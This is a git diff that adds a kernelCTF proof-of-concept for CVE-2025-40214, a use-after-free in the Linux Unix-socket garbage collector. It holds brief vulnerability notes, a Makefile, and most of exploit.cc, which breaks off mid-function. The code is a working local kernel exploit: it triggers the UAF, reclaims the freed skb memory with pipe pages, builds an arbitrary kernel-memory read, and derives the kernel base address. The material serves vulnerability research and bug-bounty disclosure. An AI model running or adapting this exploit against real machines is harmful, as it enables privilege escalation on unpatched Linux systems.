diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/exploit.md new file mode 100644 index 000000000..dfb0e5e83 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/exploit.md @@ -0,0 +1,4 @@ +Exploit Details +=============== + +Coming soon. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..2e9deb087 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/docs/vulnerability.md @@ -0,0 +1,20 @@ +# Vulnerability + +Uninitialized member scc_index of struct unix_vertex leading to Unix garbage collector misjudged an inflight unix socket as dead. + +## Requirements to trigger the vulnerability: +- Capabilities: No capabilities are required to trigger the vulnerability. +- Kernel configuration: CONFIG_UNIX are required to trigger this vulnerability. +- Are user namespaces needed?: No. + +## Commit which introduced the vulnerability +- `https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ad081928a8b0` + +## Commit which fixed the vulnerability +- `https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=60e6489f8e3b086bd1130ad4450a2c112e863791` + +## Affected component, subsystem +- Unix socket + +## Cause (UAF, BoF, race condition, double free, refcount overflow, etc) +- UAF \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/Makefile b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/Makefile new file mode 100644 index 000000000..3b4231205 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/Makefile @@ -0,0 +1,10 @@ +exploit: + g++ -static -Ofast exploit.cc -o exploit -lpthread -lkernelXDK + +exploit_debug: + g++ -static -Ofast exploit.cc -o exploit_debug -lpthread -lkernelXDK + +prerequisites: + +run: + ./exploit diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit new file mode 100644 index 000000000..11135a1e0 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.cc b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.cc new file mode 100644 index 000000000..b15d58ddb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40214_lts_cos/exploit/cos-113-18244.521.7/exploit.cc @@ -0,0 +1,1223 @@ +#include "exploit.hpp" + +u64 user_cs, user_ss, user_rsp, user_rflags; + +void unix_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Pthread_error(const char *msg, int error_code) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(error_code)); + exit(EXIT_FAILURE); +} + +int Socket(int domain, int type, int protocol) +{ + int fd = socket(domain, type, protocol); + if (fd < 0) + unix_error("socket"); + + return fd; +} + +void Socketpair(int domain, int type, int protocol, int socket_vector[2]) +{ + if (socketpair(domain, type, protocol, socket_vector) < 0) + unix_error("socketpair"); +} + +void Setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen) +{ + if (setsockopt(sockfd, level, optname, optval, optlen) < 0) + unix_error("setsockopt"); +} + +void Connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (connect(sockfd, addr, addrlen) < 0) + unix_error("connect"); +} + +void Bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (bind(sockfd, addr, addrlen) < 0) + unix_error("bind"); +} + +void Getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + if (getsockname(sockfd, addr, addrlen) < 0) + unix_error("getsockname"); +} + +void Listen(int sockfd, int backlog) +{ + if (listen(sockfd, backlog) < 0) + unix_error("listen"); +} + +int Accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + int new_sockfd = accept(sockfd, addr, addrlen); + if (new_sockfd < 0) + unix_error("accept"); + + return new_sockfd; +} + +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags) +{ + ssize_t ret = sendmsg(socket, message, flags); + if (ret < 0) + unix_error("sendmsg"); + + return ret; +} + +ssize_t Recvmsg(int socket, struct msghdr *message, int flags) +{ + ssize_t ret = recvmsg(socket, message, flags); + if (ret < 0) + unix_error("recvmsg"); + + return ret; +} + +ssize_t Send(int sockfd, const void *buf, size_t size, int flags) +{ + ssize_t ret = send(sockfd, buf, size, flags); + if (ret < 0) + unix_error("send"); + + return ret; +} + +ssize_t Sendto(int sockfd, const void *msg, size_t length, int flags, const struct sockaddr *dst_addr, socklen_t dst_len) +{ + ssize_t ret = sendto(sockfd, msg, length, flags, dst_addr, dst_len); + if (ret < 0) + unix_error("sendto"); + + return ret; +} + +ssize_t Recv(int sockfd, void *buf, size_t size, int flags) +{ + ssize_t ret = recv(sockfd, buf, size, flags); + if (ret < 0) + unix_error("recv"); + + return ret; +} + +void *Calloc(size_t nelem, size_t elsize) +{ + void *p = calloc(nelem, elsize); + if (p == NULL) + unix_error("calloc"); + + return p; +} + +void Close(int fd) +{ + if (close(fd) < 0) + unix_error("close"); +} + +void Pipe(int pipefd[2]) +{ + if (pipe(pipefd) < 0) + unix_error("pipe"); +} + +int Fcntl(int fd, int op, unsigned long arg) +{ + int ret = fcntl(fd, op, arg); + if (ret < 0) + unix_error("fcntl"); + + return ret; +} + +ssize_t Write(int fd, const void *buf, size_t count) +{ + ssize_t ret = write(fd, buf, count); + if (ret < 0) + unix_error("write"); + + return ret; +} + +ssize_t Read(int fd, void *buf, size_t count) +{ + ssize_t ret = read(fd, buf, count); + if (ret < 0) + unix_error("read"); + + return ret; +} + +void Ioctl(int fd, unsigned long op, unsigned long arg) +{ + if (ioctl(fd, op, arg) < 0) + unix_error("ioctl"); +} + +void Unshare(int flags) +{ + if (unshare(flags) < 0) + unix_error("unshare"); +} + +void Getrlimit(int resource, struct rlimit *rlim) +{ + if (getrlimit(resource, rlim) < 0) + unix_error("getrlimit"); +} + +void Setrlimit(int resource, const struct rlimit *rlim) +{ + if (setrlimit(resource, rlim) < 0) + unix_error("setrlimit"); +} + +int Msgget(key_t key, int msgflg) +{ + int qid = msgget(key, msgflg); + if (qid < 0) + unix_error("msgget"); + + return qid; +} + +void Msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg) +{ + if (msgsnd(msqid, msgp, msgsz, msgflg) < 0) + unix_error("msgsnd"); +} + +void Msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) +{ + if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) + unix_error("msgrcv"); +} + +int Msgctl(int msqid, int op, struct msqid_ds *buf) +{ + int ret = msgctl(msqid, op, buf); + if (ret < 0) + unix_error("msgctl"); + + return ret; +} + +void Sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset) +{ + if (sched_setaffinity(pid, cpusetsize, cpuset) < 0) + unix_error("sched_setaffinity"); +} + +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg) +{ + int ret = pthread_create(newthread, attr, start_routine, arg); + if (ret != 0) + Pthread_error("pthread_create", ret); +} + +void Pthread_join(pthread_t thread, void **retval) +{ + int ret = pthread_join(thread, retval); + if (ret != 0) + Pthread_error("pthread_join", ret); +} + +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset) +{ + int ret = pthread_setaffinity_np(thread, cpusetsize, cpuset); + if (ret != 0) + Pthread_error("pthread_setaffinity_np", ret); +} + +void pin_thread_on_cpu(int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + + pthread_t current_thread = pthread_self(); + Pthread_setaffinity_np(current_thread, sizeof(cpu_set_t), &cpuset); +} + +void sendfds( + int unix_sockfd, + void *data, + size_t data_len, + int *fds, + int fds_len, + struct sockaddr_un addr, + socklen_t addrlen +) +{ + assert(fds_len <= SCM_MAX_FD); + union { + char buf[CMSG_SPACE(sizeof(int) * SCM_MAX_FD)]; + struct cmsghdr align; + } control_msg; + + struct msghdr msgh = {}; + struct iovec iov = {}; + + iov.iov_base = data; + iov.iov_len = data_len; + msgh.msg_iov = &iov; + msgh.msg_iovlen = 1; + + msgh.msg_control = control_msg.buf; + msgh.msg_controllen = CMSG_SPACE(sizeof(int) * fds_len); + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + cmsgp->cmsg_level = SOL_SOCKET; + cmsgp->cmsg_type = SCM_RIGHTS; + cmsgp->cmsg_len = CMSG_LEN(sizeof(int) * fds_len); + memcpy(CMSG_DATA(cmsgp), fds, sizeof(int) * fds_len); + + if (addrlen) { + msgh.msg_name = &addr; + msgh.msg_namelen = addrlen; + } + + Sendmsg(unix_sockfd, &msgh, 0); +} + +void recvfds(int unix_sockfd, void *data, size_t data_len, int *fds, int fds_len, int msg_peek) +{ + struct msghdr msgh = {}; + struct iovec iov = {}; + size_t msg_controllen = CMSG_SPACE(fds_len * sizeof(int)); + void *msg_control = Calloc(1, msg_controllen); + + iov.iov_base = data; + iov.iov_len = data_len; + msgh.msg_iov = &iov; + msgh.msg_iovlen = 1; + msgh.msg_control = msg_control; + msgh.msg_controllen = msg_controllen; + Recvmsg(unix_sockfd, &msgh, msg_peek); + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + if (cmsgp == NULL || + cmsgp->cmsg_len != CMSG_LEN(fds_len * sizeof(int)) || + cmsgp->cmsg_type != SCM_RIGHTS) + exit(EXIT_FAILURE); + + memcpy(fds, CMSG_DATA(cmsgp), fds_len * sizeof(int)); + free(msg_control); +} + +void *unix_gc_thread_fn(void *arg) +{ + pin_thread_on_cpu(1); + struct unix_gc_thread *t = (struct unix_gc_thread *)arg; + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->trigger_gc) + pthread_cond_wait(&t->cond, &t->mutex); + + t->trigger_gc = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + union { + char buf[CMSG_SPACE(sizeof(int))]; + struct cmsghdr align; + } control_msg; + + int dummy_data = 0; + struct iovec iov = { .iov_base = &dummy_data, .iov_len = sizeof(int) }; + + struct msghdr msgh = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = control_msg.buf, + .msg_controllen = CMSG_SPACE(sizeof(int)), + //.msg_flags = MSG_OOB + }; + + struct cmsghdr *cmsgp = CMSG_FIRSTHDR(&msgh); + cmsgp->cmsg_level = SOL_SOCKET; + cmsgp->cmsg_type = SCM_RIGHTS; + cmsgp->cmsg_len = CMSG_LEN(sizeof(int)); + memcpy(CMSG_DATA(cmsgp), &t->wait_for_gc_fd, sizeof(int)); + + Close(t->trigger_gc_fd); + int ret = sendmsg(t->wait_for_gc_fd, &msgh, MSG_OOB); + if (!(ret == -1 && errno == EOPNOTSUPP)) { + fprintf(stderr, "Kernel function unix_dgram_sendmsg() implementation changed\n"); + exit(EXIT_FAILURE); + } + + t->trigger_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + + pthread_mutex_lock(&t->mutex); + t->gc_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void unix_gc_trigger(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->trigger_gc = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_wait(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->gc_complete) + pthread_cond_wait(&t->cond, &t->mutex); + + t->gc_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_thread_quit(struct unix_gc_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void unix_gc_thread_init(struct unix_gc_thread *t) +{ + t->trigger_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + t->wait_for_gc_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, unix_gc_thread_fn, t); +} + +void unix_gc_thread_cleanup(struct unix_gc_thread *t) +{ + unix_gc_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); +} + +void exploit_kernel_unix_graph_prepare(struct exploit_kernel_unix_graph *p) +{ + p->stream_unix_socket_A_fd = Socket(AF_UNIX, SOCK_STREAM, 0); + p->stream_unix_socket_B_fd = Socket(AF_UNIX, SOCK_STREAM, 0); + p->stream_unix_socket_C_fd = -1; + p->dgram_unix_socket_D_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + + struct sockaddr_un auto_bind_addr = { .sun_family = AF_UNIX }; + Bind( + p->stream_unix_socket_A_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + + Bind( + p->stream_unix_socket_B_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + + Bind( + p->dgram_unix_socket_D_fd, + (const struct sockaddr *)&auto_bind_addr, + offsetof(struct sockaddr_un, sun_path) + ); + + Listen(p->stream_unix_socket_A_fd, 1); + + struct sockaddr_un socket_A_addr = {}; + socklen_t socket_A_addrlen = sizeof(socket_A_addr); + Getsockname(p->stream_unix_socket_A_fd, (struct sockaddr *)&socket_A_addr, &socket_A_addrlen); + Connect(p->stream_unix_socket_B_fd, (const struct sockaddr *)&socket_A_addr, socket_A_addrlen); +} + +void exploit_kernel_unix_graph_build_stage_1(struct exploit_kernel_unix_graph *p) +{ + u8 dummy = 0; + sendfds( + p->stream_unix_socket_B_fd, + &dummy, + sizeof(dummy), + (int *)&p->stream_unix_socket_B_fd, + 1, + (struct sockaddr_un){}, + 0 + ); +} + +void exploit_kernel_unix_graph_build_stage_2(struct exploit_kernel_unix_graph *p) +{ + p->stream_unix_socket_C_fd = Accept(p->stream_unix_socket_A_fd, NULL, NULL); + u8 dummy = 0; + + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_D_fd, (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_D_fd, + &dummy, + sizeof(dummy), + (int *)&p->stream_unix_socket_C_fd, + 1, + dst_addr, + dst_len + ); +} + +void exploit_kernel_unix_graph_cleanup(struct exploit_kernel_unix_graph *p) +{ + if (p->stream_unix_socket_A_fd != -1) { + Close(p->stream_unix_socket_A_fd); + p->stream_unix_socket_A_fd = -1; + } + + if (p->stream_unix_socket_B_fd != -1) { + Close(p->stream_unix_socket_B_fd); + p->stream_unix_socket_B_fd = -1; + } + + if (p->stream_unix_socket_C_fd != -1) { + Close(p->stream_unix_socket_C_fd); + p->stream_unix_socket_C_fd = -1; + } + + if (p->dgram_unix_socket_D_fd != -1) { + Close(p->dgram_unix_socket_D_fd); + p->dgram_unix_socket_D_fd = -1; + } +} + +void cyclic_kernel_unix_graph_prepare(struct cyclic_kernel_unix_graph *p) +{ + p->dgram_unix_socket_fd = Socket(AF_UNIX, SOCK_DGRAM, 0); + struct sockaddr_un addr = { .sun_family = AF_UNIX }; + Bind(p->dgram_unix_socket_fd, (const struct sockaddr *)&addr, offsetof(struct sockaddr_un, sun_path)); +} + +void cyclic_kernel_unix_graph_build(struct cyclic_kernel_unix_graph *p) +{ + u8 dummy = 0; + + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fd, (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fd, + &dummy, + sizeof(dummy), + &p->dgram_unix_socket_fd, + 1, + dst_addr, + dst_len + ); +} + +void cyclic_kernel_unix_graph_cleanup(struct cyclic_kernel_unix_graph *p) +{ + if (p->dgram_unix_socket_fd != -1) { + Close(p->dgram_unix_socket_fd); + p->dgram_unix_socket_fd = -1; + } +} + +void kernel_unix_vertex_spray_prepare(struct kernel_unix_vertex_spray *p, int spray_count) +{ + p->dgram_unix_socket_fds = (int *)Calloc(spray_count, sizeof(*p->dgram_unix_socket_fds)); + for (int i = 0; i < spray_count; i++) { + p->dgram_unix_socket_fds[i] = Socket(AF_UNIX, SOCK_DGRAM, 0); + struct sockaddr_un addr = {. sun_family = AF_UNIX }; + Bind(p->dgram_unix_socket_fds[i], (const struct sockaddr *)&addr, offsetof(struct sockaddr_un, sun_path)); + } + + p->vertex_count = spray_count; +} + +void kernel_unix_vertex_spray_trigger_alloc(struct kernel_unix_vertex_spray *p) +{ + u8 dummy = 0; + for (int i = 0; i < p->vertex_count; i++) { + if (i != p->vertex_count - 1) { + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fds[i + 1], (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + (int *)&p->dgram_unix_socket_fds[i], + 1, + dst_addr, + dst_len + ); + } else { + struct sockaddr_un dst_addr = {}; + socklen_t dst_len = sizeof(dst_addr); + Getsockname(p->dgram_unix_socket_fds[0], (struct sockaddr *)&dst_addr, &dst_len); + + sendfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + (int *)&p->dgram_unix_socket_fds[i], + 1, + dst_addr, + dst_len + ); + } + } +} + +void kernel_unix_vertex_spray_trigger_free(struct kernel_unix_vertex_spray *p) +{ + u8 dummy = 0; + int tmp_fd = -1; + + for (int i = 0; i < p->vertex_count; i++) { + recvfds( + p->dgram_unix_socket_fds[i], + &dummy, + sizeof(dummy), + &tmp_fd, + 1, + 0 + ); + + Close(tmp_fd); + } +} + +void kernel_unix_vertex_spray_cleanup(struct kernel_unix_vertex_spray *p) +{ + for (int i = 0; i < p->vertex_count; i++) { + if (p->dgram_unix_socket_fds[i] != -1) { + Close(p->dgram_unix_socket_fds[i]); + p->dgram_unix_socket_fds[i] = -1; + } + } + + free(p->dgram_unix_socket_fds); +} + +void prepare_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct cyclic_kernel_unix_graph *cyclic_kernel_unix_graph, + struct kernel_unix_vertex_spray *kernel_unix_vertex_spray, + struct unix_gc_thread *unix_gc_thread +) +{ + kernel_unix_vertex_spray_trigger_alloc(kernel_unix_vertex_spray); + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + kernel_unix_vertex_spray_trigger_free(kernel_unix_vertex_spray); + + exploit_kernel_unix_graph_build_stage_1(exploit_kernel_unix_graph); + cyclic_kernel_unix_graph_build(cyclic_kernel_unix_graph); + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + + exploit_kernel_unix_graph_build_stage_2(exploit_kernel_unix_graph); + + u8 detect_byte = UAF_OOB_SKB_BYTE_DATA; + Send( + exploit_kernel_unix_graph->stream_unix_socket_C_fd, + &detect_byte, + sizeof(detect_byte), + MSG_OOB + ); +} + +bool trigger_uaf( + struct exploit_kernel_unix_graph *exploit_kernel_unix_graph, + struct unix_gc_thread *unix_gc_thread +) +{ + Close(exploit_kernel_unix_graph->stream_unix_socket_B_fd); + exploit_kernel_unix_graph->stream_unix_socket_B_fd = -1; + + unix_gc_trigger(unix_gc_thread); + unix_gc_wait(unix_gc_thread); + + u8 dummy = 0; + int stream_unix_socket_B_newfd = -1; + recvfds( + exploit_kernel_unix_graph->stream_unix_socket_C_fd, + &dummy, + sizeof(dummy), + (int *)&stream_unix_socket_B_newfd, + 1, + 0 + ); + + exploit_kernel_unix_graph->stream_unix_socket_B_fd = stream_unix_socket_B_newfd; + return uaf_success(stream_unix_socket_B_newfd); +} + +bool uaf_success(int victim_socket_fd) +{ + int inq_len = 0; + Ioctl(victim_socket_fd, SIOCINQ, (unsigned long)&inq_len); + + u8 dummy = 0; + int ret = recv(victim_socket_fd, &dummy, 1, MSG_OOB | MSG_PEEK); + + return (ret == 1 && inq_len == 0) || (ret == -1 && errno == EFAULT); +} + +void setup_nofile_rlimit(void) +{ + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + nofile_rlimit.rlim_cur = nofile_rlimit.rlim_max; + Setrlimit(RLIMIT_NOFILE, &nofile_rlimit); +} + +void overlap_oob_skb_with_pipe_page( + int *out_victim_fd, + int out_overlap_pipe[2], + int *out_page_nth, + int *out_page_offset +) +{ +#define TOTAL_SOCKETPAIR 512 +#define TOTAL_PIPE 64 +#define SKB_PER_SOCKET 256 + + struct unix_gc_thread unix_gc_thread = {}; + unix_gc_thread_init(&unix_gc_thread); + + int dgram_unix_socketpairs[TOTAL_SOCKETPAIR][2] = {}; + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) + Socketpair(AF_UNIX, SOCK_DGRAM, 0, dgram_unix_socketpairs[i]); + + int pipe_fds[TOTAL_PIPE][2] = {}; + for (int i = 0; i < TOTAL_PIPE; i++) { + Pipe(pipe_fds[i]); + Fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PAGE_SIZE * PAGE_PER_PIPE); + } + + u8 skb_data_buffer[TOTAL_PIPE][PAGE_PER_PIPE][SKBUFF_HEAD_CACHE_OBJS_PER_SLAB] = {}; + for (int i = 0; i < TOTAL_PIPE; i++) { + for (int j = 0; j < PAGE_PER_PIPE; j++) { + for (int k = 0; k < SKBUFF_HEAD_CACHE_OBJS_PER_SLAB; k++) { + skb_data_buffer[i][j][k] = RECLAIM_UAF_OOB_SKB_DATA; + } + } + } + + u8 page_buffer[PAGE_SIZE] = {}; + u8 victim_oob_skb_data = 0; + u8 dummy = 0; + int victim_fd = -1; + ssize_t recv_ret = -1; + bool cross_cache_success = false; + + while (!cross_cache_success) { + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) { + for (int j = 0; j < SKB_PER_SOCKET; j++) { + Send(dgram_unix_socketpairs[i][0], &dummy, 1, MSG_DONTWAIT); + } + } + + bool uaf_success = false; + while (!uaf_success) { + struct cyclic_kernel_unix_graph cyclic_kernel_unix_graph = {}; + struct exploit_kernel_unix_graph exploit_kernel_unix_graph = {}; + struct kernel_unix_vertex_spray kernel_unix_vertex_spray = {}; + + cyclic_kernel_unix_graph_prepare(&cyclic_kernel_unix_graph); + exploit_kernel_unix_graph_prepare(&exploit_kernel_unix_graph); + kernel_unix_vertex_spray_prepare(&kernel_unix_vertex_spray, 25); + + prepare_uaf( + &exploit_kernel_unix_graph, + &cyclic_kernel_unix_graph, + &kernel_unix_vertex_spray, + &unix_gc_thread + ); + + uaf_success = trigger_uaf(&exploit_kernel_unix_graph, &unix_gc_thread); + if (uaf_success) { + victim_fd = exploit_kernel_unix_graph.stream_unix_socket_B_fd; + exploit_kernel_unix_graph.stream_unix_socket_B_fd = -1; + } + + cyclic_kernel_unix_graph_cleanup(&cyclic_kernel_unix_graph); + exploit_kernel_unix_graph_cleanup(&exploit_kernel_unix_graph); + kernel_unix_vertex_spray_cleanup(&kernel_unix_vertex_spray); + } + + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) { + for (int total_packets = 0; total_packets < SKB_PER_SOCKET; total_packets++) { + Send(dgram_unix_socketpairs[i][1], &dummy, 1, MSG_DONTWAIT); + } + } + + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) { + for (int j = 0; j < SKB_PER_SOCKET; j++) { + Recv(dgram_unix_socketpairs[i][1], &dummy, 1, 0); + } + } + + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) { + for (int j = 0; j < SKB_PER_SOCKET; j++) { + Recv(dgram_unix_socketpairs[i][0], &dummy, 1, 0); + } + } + + memset(page_buffer, 0, sizeof(page_buffer)); + for (int i = 0; i < SKBUFF_HEAD_CACHE_OBJS_PER_SLAB; i++) { + *(u32 *)(page_buffer + i * SKBUFF_HEAD_CACHE_OBJ_SIZE + STRUCT_SK_BUFF_MEMBER_LEN_OFFSET) = 1; + *(u32 *)(page_buffer + i * SKBUFF_HEAD_CACHE_OBJ_SIZE + STRUCT_SK_BUFF_MEMBER_DATA_LEN_OFFSET) = 0; + } + + for (int i = 0; i < TOTAL_PIPE; i++) { + for (int j = 0; j < PAGE_PER_PIPE; j++) { + for (int k = 0; k < SKBUFF_HEAD_CACHE_OBJS_PER_SLAB; k++) { + *(u64 *)(page_buffer + k * SKBUFF_HEAD_CACHE_OBJ_SIZE + STRUCT_SK_BUFF_MEMBER_DATA_OFFSET) = (u64)(&skb_data_buffer[i][j][k]); + } + + Write(pipe_fds[i][1], page_buffer, PAGE_SIZE); + } + } + + recv_ret = recv(victim_fd, &victim_oob_skb_data, 1, MSG_OOB | MSG_PEEK); + if (recv_ret == 1 && victim_oob_skb_data == RECLAIM_UAF_OOB_SKB_DATA) { + cross_cache_success = true; + } else { + for (int i = 0; i < TOTAL_PIPE; i++) { + for (int j = 0; j < PAGE_PER_PIPE; j++) { + Read(pipe_fds[i][0], page_buffer, PAGE_SIZE); + } + } + } + } + + printf("[+] cross cache success\n"); + + bool found_overlap_pipe = false; + for (int i = 0; i < TOTAL_PIPE && !found_overlap_pipe; i++) { + for (int j = 0; j < PAGE_PER_PIPE && !found_overlap_pipe; j++) { + for (int k = 0; k < SKBUFF_HEAD_CACHE_OBJS_PER_SLAB && !found_overlap_pipe; k++) { + skb_data_buffer[i][j][k] = DETECT_OVERLAP_PIPE_OOB_SKB_DATA; + recv_ret = recv(victim_fd, &victim_oob_skb_data, 1, MSG_OOB | MSG_PEEK); + if (recv_ret == 1 && victim_oob_skb_data == DETECT_OVERLAP_PIPE_OOB_SKB_DATA) { + *out_victim_fd = victim_fd; + out_overlap_pipe[0] = pipe_fds[i][0]; + pipe_fds[i][0] = -1; + out_overlap_pipe[1] = pipe_fds[i][1]; + pipe_fds[i][1] = -1; + *out_page_nth = j; + *out_page_offset = k * SKBUFF_HEAD_CACHE_OBJ_SIZE; + found_overlap_pipe = true; + } + } + } + } + + if (!found_overlap_pipe) { + fprintf(stderr, "unexpected condition\n"); + exit(EXIT_FAILURE); + } + + for (int i = 0; i < TOTAL_SOCKETPAIR; i++) { + Close(dgram_unix_socketpairs[i][0]); + Close(dgram_unix_socketpairs[i][1]); + } + + for (int i = 0; i < TOTAL_PIPE; i++) { + if (pipe_fds[i][0] != -1) { + Close(pipe_fds[i][0]); + } + + if (pipe_fds[i][1] != -1) { + Close(pipe_fds[i][1]); + } + } + + unix_gc_thread_cleanup(&unix_gc_thread); + +#undef SKB_PER_SOCKET +#undef TOTAL_PIPE +#undef TOTAL_SOCKETPAIR +} + +void uaf_oob_skb_overwrite_prepare_page_buffer(void *page_buffer, int member_offset, void *value, size_t value_size) +{ + memcpy((void *)((uintptr_t)page_buffer + g_overlap_page_offset + member_offset), value, value_size); +} + +void uaf_oob_skb_overwrite_trigger(void *page_buffer) +{ + if (g_victim_sockfd == -1 || g_overlap_pipe_fd[0] == -1 || g_overlap_pipe_fd[1] == -1) { + fprintf(stderr, "forget to call abr_read_prepare()\n"); + exit(EXIT_FAILURE); + } + + u8 tmp_page[PAGE_SIZE] = {}; + + for (int i = 0; i < PAGE_PER_PIPE; i++) { + Read(g_overlap_pipe_fd[0], tmp_page, PAGE_SIZE); + Write(g_overlap_pipe_fd[1], page_buffer, PAGE_SIZE); + } +} + +void abr_read(u64 kernel_address, void *bytes, size_t total_bytes) +{ + if (g_victim_sockfd == -1 || g_overlap_pipe_fd[0] == -1 || g_overlap_pipe_fd[1] == -1) { + fprintf(stderr, "forget to call abr_read_prepare()\n"); + exit(EXIT_FAILURE); + } + + u8 page_buffer[PAGE_SIZE] = {}; + + u32 skb_len = 1; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_LEN_OFFSET, + &skb_len, + sizeof(skb_len) + ); + + u32 skb_data_len = 0; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_DATA_LEN_OFFSET, + &skb_data_len, + sizeof(skb_data_len) + ); + + for (size_t i = 0; i < total_bytes; i++) { + u64 skb_data = kernel_address + i; + uaf_oob_skb_overwrite_prepare_page_buffer( + page_buffer, + STRUCT_SK_BUFF_MEMBER_DATA_OFFSET, + &skb_data, + sizeof(skb_data) + ); + + uaf_oob_skb_overwrite_trigger(page_buffer); + + u8 byte = 0; + ssize_t recv_ret = recv(g_victim_sockfd, &byte, 1, MSG_OOB | MSG_PEEK); + if (recv_ret < 0) { + fprintf(stderr, "unexpected condition in abr_read()\n"); + exit(EXIT_FAILURE); + } + + *(u8 *)((uintptr_t)bytes + i) = byte; + } +} + +u64 find_kernel_base(void) +{ + struct gate_struct idt_entry = {}; + abr_read(0xfffffe0000000000UL, &idt_entry, sizeof(idt_entry)); + + unsigned long asm_exc_divide_error_addr = + (((u64)idt_entry.offset_high ) << 32) | + (((u64)idt_entry.offset_middle) << 16) | + (((u64)idt_entry.offset_low ) << 0); + + fprintf(stderr, "[+] asm_exc_divide_error: 0x%016lx\n", asm_exc_divide_error_addr); + return asm_exc_divide_error_addr - asm_exc_divide_error_offset_from_kernel_base; +} + +bool setup_fake_skb_with_msg_msgseg(int victim_fd, int *out_qid, u64 